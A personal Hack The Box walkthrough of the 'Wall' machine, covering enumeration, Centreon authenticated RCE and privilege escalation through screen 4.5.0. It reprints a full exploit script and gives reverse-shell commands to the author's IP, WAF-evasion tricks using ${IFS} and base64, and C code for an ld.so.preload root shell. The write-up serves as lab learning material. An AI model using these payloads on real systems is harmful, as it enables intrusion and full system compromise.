Hello everyone!
So about a week and a half ago, I decided that I would try to own my first box on Hackthebox. I wanted to start with an easy one, so I chose Wall because a lot of people were saying this box was rather easy to own. It was a really interesting first experience as I learned a lot of things, even if I had to look for a lot of clues and hints because there are a lot of concepts I couldn’t think of by myself.
Before we start, I just want to say that this walkthrough might not be as a usual one: I will talk about what I tried, even if it didn’t work, and I try to explain why what I did didn’t work, so it might be long and become kind of uninteresting at some point. However, I think it is really instructive about what mistakes you maybe didn’t but might do at some point.
So, let’s get started! First, to make things easier I updated /etc/hosts
in order to associate the IP address
10.10.10.157 with the name wall.ctf
. Then, I used nmap
to get the machine open ports, which gave me the following result:
$ nmap -sV -sT -sC wall.ctf Starting Nmap 7.60 ( https://nmap.org ) at 2019-11-15 15:35 CET Nmap scan report for wall.ctf (10.10.10.157) Host is up (0.28s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA) |_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (EdDSA) 80/tcp open http Apache httpd 2.4.29 (Ubuntu) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 44.21 seconds
Here is a nice snippet, look at it!
So we found that the port 80 is open and that Apache is listening on it.
We learn as well that the page displayed by Apache is the default page, which we can confirm by accessing wall.ctf
in a web browser.
As this was my very first machine, I didn’t really know what to do: I could only see a web page with nothing more behind it.
However, after some time I came across an idea I should have thought about very quickly: there can be other files and directories around
the Apache default page. I learned about dirb
, a tool that uses a wordlist to enumerate all the possible pages that could exist on the server.
I first tried to list all PHP files at the root of the server using the following command:
$ dirb http://wall.ctf -X .php ----------------- DIRB v2.22 By The Dark Raver ----------------- OUTPUT_FILE: dirb.out START_TIME: Fri Nov 15 15:55:59 2019 URL_BASE: http://wall.ctf/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://wall.ctf/ ---- ----------------- DIRB v2.22 By The Dark Raver ----------------- OUTPUT_FILE: dirb.out START_TIME: Fri Nov 15 15:57:45 2019 URL_BASE: http://wall.ctf/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt EXTENSIONS_LIST: (.php) | (.php) [NUM = 1] ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://wall.ctf/ ---- + http://wall.ctf/aa.php (CODE:200|SIZE:1) + http://wall.ctf/panel.php (CODE:200|SIZE:26) ----------------- END_TIME: Fri Nov 15 16:06:58 2019 DOWNLOADED: 4612 - FOUND: 2
We found two PHP pages, which aren’t really interesting: aa.php
only displays the number 1, and
panel.php
displays “Just a test for php file !”. So I thought it might be useful later and
decided to move on another enumeration :
$ dirb http://wall.ctf ----------------- DIRB v2.22 By The Dark Raver ----------------- OUTPUT_FILE: dirb.out2 START_TIME: Fri Nov 15 16:09:15 2019 URL_BASE: http://wall.ctf/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://wall.ctf/ ---- + http://wall.ctf/index.html (CODE:200|SIZE:10918) + http://wall.ctf/monitoring (CODE:401|SIZE:455) + http://wall.ctf/server-status (CODE:403|SIZE:296) ----------------- END_TIME: Fri Nov 15 16:18:52 2019 DOWNLOADED: 4612 - FOUND: 3
This time, dirb
obviously found index.html
and server-status
,
but also a pretty interesting page called monitoring
. When we try to access the page,
it asks for a username and a password.
At first, I wanted to try to find a way to bruteforce it, but reading some posts of the Hackthebox forum I saw a
lot of people saying bruteforce wasn’t the intended way to own the box. I took some time to think about this page,
and I didn’t find anything relevant. However, one of the hint was particularly useful: it was said to focus about
verbs in the English language. After a while, I finally tried to request the monitoring
page using
another method, POST
for instance, which gave the following result:
$ curl -XPOST http://wall.ctf/monitoring/ <h1>This page is not ready yet !</h1> <h2>We should redirect you to the required page !</h2> <meta http-equiv="refresh" content="0; URL='/centreon'" />
Little warning in this step: at first, I omitted the “/” at the end of the request so I got a 301 response, which however led me to add the “/”.
So we learn here that we would like to be redirected to a page called centreon
, at the root of the server.
Let’s get there in our browser! We then get the following login form:
So I guess we should learn a bit more about what is Centreon: Wikipedia tells us Centreon is a supervising software. It allows to monitor applications, systems and networks.1 It is based on Nagios, which is a monitoring software as well.
The interesting part is that this version of Centreon allows to perform a RCE, which was exposed by Askar (box maker) in the CVE-2019-13024.2 This post actually gives us a RCE exploit script, however we need to be logged in the Centreon administration panel to use it. So first, we need to find the right credentials.
Basic tests already show us interesting behaviour: some characters aren’t allowed in the form, such as a space, a #, or the string “passwd”. This could mean there is a WAF (Web Application Firewall) installed on the server. For now, it isn’t really troublesome, it actually helps knowing which characters we can’t use.
At first I tried to bruteforce the login form, which led to nothing at all, apart from teaching myself how to use
hydra
. However, after having read some advices on Hackthebox forum, I just tried some random login/password pairs,
and it finally worked with admin and password1. We got the centreon panel!
So now comes the fun part. As we discovered it earlier, there exists a CVE which should spawn a reverse shell. However, starting ncat and executing the script isn’t enough, because when we do so we get no incoming connection. Let’s take a look at the script, find on Askar’s post:3
#!/usr/bin/python ''' # Exploit Title: Centreon v19.04 authenticated Remote Code Execution # Date: 28/06/2019 # Exploit Author: Askar (@mohammadaskar2) # CVE : CVE-2018-20434 # Vendor Homepage: https://www.centreon.com/ # Software link: https://download.centreon.com # Version: v19.04 # Tested on: CentOS 7.6 / PHP 5.4.16 ''' import requests import sys import warnings from bs4 import BeautifulSoup # turn off BeautifulSoup warnings warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 6: print(len(sys.argv)) print("[~] Usage : ./centreon-exploit.py url username password ip port") exit() url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5] request = requests.session() print("[+] Retrieving CSRF token to submit the login form") page = request.get(url+"/index.php") html_content = page.text soup = BeautifulSoup(html_content) token = soup.findAll('input')[3].get("value") login_info = { "useralias": username, "password": password, "submitLogin": "Connect", "centreon_token": token } login_request = request.post(url+"/index.php", login_info) print("[+] Login token is : {0}".format(token)) if "Your credentials are incorrect." not in login_request.text: print("[+] Logged In Sucssfully") print("[+] Retrieving Poller token") poller_configuration_page = url + "/main.get.php?p=60901" get_poller_token = request.get(poller_configuration_page) poller_html = get_poller_token.text poller_soup = BeautifulSoup(poller_html) poller_token = poller_soup.findAll('input')[24].get("value") print("[+] Poller token is : {0}".format(poller_token)) payload_info = { "name": "Central", "ns_ip_address": "127.0.0.1", # this value should be 1 always "localhost[localhost]": "1", "is_default[is_default]": "0", "remote_id": "", "ssh_port": "22", "init_script": "centengine", # this value contains the payload , you can change it as you want "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port), "nagiostats_bin": "/usr/sbin/centenginestats", "nagios_perfdata": "/var/log/centreon-engine/service-perfdata", "centreonbroker_cfg_path": "/etc/centreon-broker", "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker", "centreonbroker_logs_path": "", "centreonconnector_path": "/usr/lib64/centreon-connector", "init_script_centreontrapd": "centreontrapd", "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/", "ns_activate[ns_activate]": "1", "submitC": "Save", "id": "1", "o": "c", "centreon_token": poller_token, } send_payload = request.post(poller_configuration_page, payload_info) print("[+] Injecting Done, triggering the payload") print("[+] Check your netcat listener !") generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php" xml_page_data = { "poller": "1", "debug": "true", "generate": "true", } request.post(generate_xml_page, xml_page_data) else: print("[-] Wrong credentials") exit()
Basically, this script signs in the Centreon panel using the provided credentials; then it modifies the
configuration of a poller called Central, and while doing so it places the command ncat -e /bin/bash ip port
in the
field nagios_bin
: this is the vulnerable field as explained in the post. Then it calls the generateFiles.php
page
which launches the command in nagios_bin
. If this script worked, we would just run nc -vlp port
and launch
the script. We’re going now to figure out what happens.
A way to do so is to understand what the exploit does and to try to do it by hand. Firstly, the exploit might fail because of hard-coded values: when it gets the poller token, it tries to get the value of input field 24, which doesn’t necessarily exist: we change that by the following line:
poller_token = poller_soup.find('input', {'name' : 'centreon_token'}).get("value")
Then, we are going to try to create a poller by hand, and to set the nagios_bin
field ourselves. First, we’re going
to duplicate the Central poller in order to run our tests without being bothered by someone else. As the script says,
we need to make this poller central, so we check “Yes” to the “Localhost ?” field. Then we write our command,
and see what happens when we save the poller configuration:
So now we remember something that we already learned earlier: the server responds Forbidden when we use the space character in a form field. So we now know that we have to find a way to write a command without using any spaces.
We can find a lot of ways to achieve that. For instance, if we want to run the command echo hello world
, we can use:
$ {echo,hello,world} $ CMD=$'echo\x20hello\x20world'&&$CMD $ echo${IFS}hello${IFS}world
The third one is my favourite, as it uses efficiently the Internal Field Separators: the $IFS
variable contains several white-space characters which act as separators in a command line.
So now we can try using this trick and writing in the nagios_bin
field the command:
ncat${IFS}-e${IFS}/bin/bash${IFS}10.10.16.30${IFS}1337
However, it doesn’t work: we still get a 403 status code. At first I got stuck at this point, because I didn’t
see any other solution. However, I tried to do some other tests with the login form of the centreon panel, and I
found out that it was actually the word ncat
that was triggering the WAF. This was kind of obvious: as the exploit
was already known, it wouldn’t be fun if you only had to execute the code to use it. Moreover, the person who found
the exploit is the maker of the box, so he wouldn’t want us to use the same exact exploit to own the box.
So we can’t use the word ncat
directly, so I decided that it could be better if I encoded this word. I came up with
the following line, which didn’t work:
CMD=$'\x6e\x63\x61\x74\x20-e\x20/bin/bash\x2010.10.16.30\x201337\x23'&&$CMD
So here the word ncat
was written with hexadecimal characters 6E 63 61 74
: however this solution didn’t work for
a reason I didn’t really get at this time.
I decided that it was time to test for other commands that could do the same job as ncat
, and I found an interesting one:
$ exec sh -i >& /dev/tcp/10.10.16.30/1337 0>&1
This command starts a shell in interactive mode and redirects stdout
and stderr
to a TCP connection.
Then stdin
is redirected to this connection as well. So bascially this commands does exactly what we want to do.
To avoid having too difficult-to-read commands, I decided to encode this command with base64
and just decode it once
it is in the nagios_bin
field. So basically, we want to make the sThe server doesn’t seem to like iterver execute the following command:
echo${IFS}ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zMC8xMzM3IDA+JjEK|base64${IFS}-d|bash;
Note: we must finish with a ;
because the server executes the content of
nagios_bin
but adds a few parameters at the end. This way, we execute our command regardless of what
follows it. I wanted first to end my command with #
, but I remembered this character was banned by the WAF.
So, we open a netcat listener with nc -vlp 1337
, then we update the Central poller with our command,
and we execute the CVE script. In fact, we only have to execute the part where the script sends a post request to
generateFiles.php
, because it’s this file which executes the content of nagios_bin
. And, it works!
So now, we can look around and try to find a way to own user and root. We learn with whoami
that we are currently
the user www-data
. This is a user who has access to the web server, and that’s basically all.
We can find all users the following way:
$ cat /etc/passwd | cut -d: -f 1 root daemon bin sys sync games man lp mail news uucp proxy www-data backup list irc gnats nobody systemd-network systemd-resolve syslog messagebus _apt uuidd sysmonitor sshd mysql postfix centreon Debian-snmp shelby
In this list, the only user besides root who isn’t a user required by a program would be shelby. We can also see in
the /home
directory that shelby has a home directory, so maybe it would be the user to own.
As it was my first time with privilege escalation, I had to browse a lot of documentation and to gather a lot of hints from forums to know where I should head.
A very interesting concept I could learn about was the SUID permission: a file with SUID permission allows the user to execute it with the privileges of another user. For instance, if a file owned by root has the SUID flag, then any user can execute it as root. The following command lists all the files that have this SUID permissions:
$ find / -perm -u=s -type f 2>/dev/null /bin/mount /bin/ping /bin/screen-4.5.0 /bin/fusermount /bin/su /bin/umount /usr/bin/chsh /usr/bin/passwd /usr/bin/gpasswd /usr/bin/traceroute6.iputils /usr/bin/chfn /usr/bin/newgrp /usr/bin/sudo /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/eject/dmcrypt-get-device
Exploring this list of files shows us something a bit strange: the program screen
has SUID permissions,
which can be useful in several ways, but can be exploited as well.
In fact, there is an exploit in version 4.05 which allows privilege escalation.4 With this version, the following command:
$ screen -D -m -L bla.bla echo "hello world"
will create the file bla.bla
if it doesn’t exist and put echo "hello world"
in it; plus bla.bla
will be owned by root.
So this allows us to create root-owned files in a directory in which we don’t have write permission, for instance.
This will actually be useful soon.
As we saw earlier, there is a script which exploits this vulnerability in order to spawn a shell with root privileges.5 As I didn’t succeed in just executing the script, I decided to break it down in small parts to understand better how it was working.
First, we’re going to work in the /tmp
directory. The script begins by creating a C shared library with the
following code, in file libhax.c
:
#include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); }
So this file defines a function that will be executed before the function main thanks to the constructor attribute.
This function makes the file /tmp/rootshell
owned by root and gives it the SUID permission.
Then, it deletes the file /etc/ld.so.preload
which we will see just after.
We compile this with:
$ gcc -fPIC -shared -ldl -o libhax.so libhax.c
Then, we’re going to create the source code for our root-privileged shell, in file rootshell.c
:
#include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); }
This file tries to set its own UID, GID, EUID and EGID to 0, which is the id of root.
Then it executes the command /bin/sh
to spawn a shell. We compile it with:
$ gcc -o rootshell rootshell.c
So now, how are we able to get root privilege with that? This is the trick: we are going to the directory /etc
.
This directory can contain a file named ld.so.preload
: this file is actually a list of shared libraries which we
want to load before running almost any binary. This means that if I put in this file /tmp/libhax.so
, then the
content of libhax.so
will be loaded before every binary I use, such as /bin/ls
for instance.
As we saw before, we can use the screen
trick to create this file in /etc
where we don’t have write permission:
$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
So now we have a file ld.so.preload
which contains what we want, in a directory where we couldn’t write. So now,
we just need to execute a random binary. However, it can’t be just random, because if we want it to work,
we need to launch a binary which has root privileges: why not screen
?
The option -ls
uses the screen
program without really launching it, so we can use it just by typing screen -ls
.
Here it is, our library is loaded. As our library defined a constructor function, this function was executed before
screen
was, and as it was executed with root privileges, it could successfully perform the
chown
and chmod
on rootshell:
Now, we just have to run ./rootshell
, and we got a root-privileged shell!
So now, we just have to go to /root
to read root.txt
to own root; then we go to
/home/shelby
and read user.txt
to own user.
A lot of users on Hackthebox's forum mentioned that it maybe wasn’t the intended way to own user because it was too easy once you got root; there might be another way that I didn’t find to own user.
So I had a lot of fun trying to own this machine, and I’m really happy I got so far in not such a long time, as it is my very first box. I learned a lot of things, and I hope that for the next one I will need less hints.
Note: Now I understood why one of my first command didn’t work; I was trying to use ncat
, which wasn’t installed on the machine…
So this is over for this box! If you have any comments or suggestions, feel free to open an issue on this website's GitHub page.
Copyright © 2020-2021 Rubytox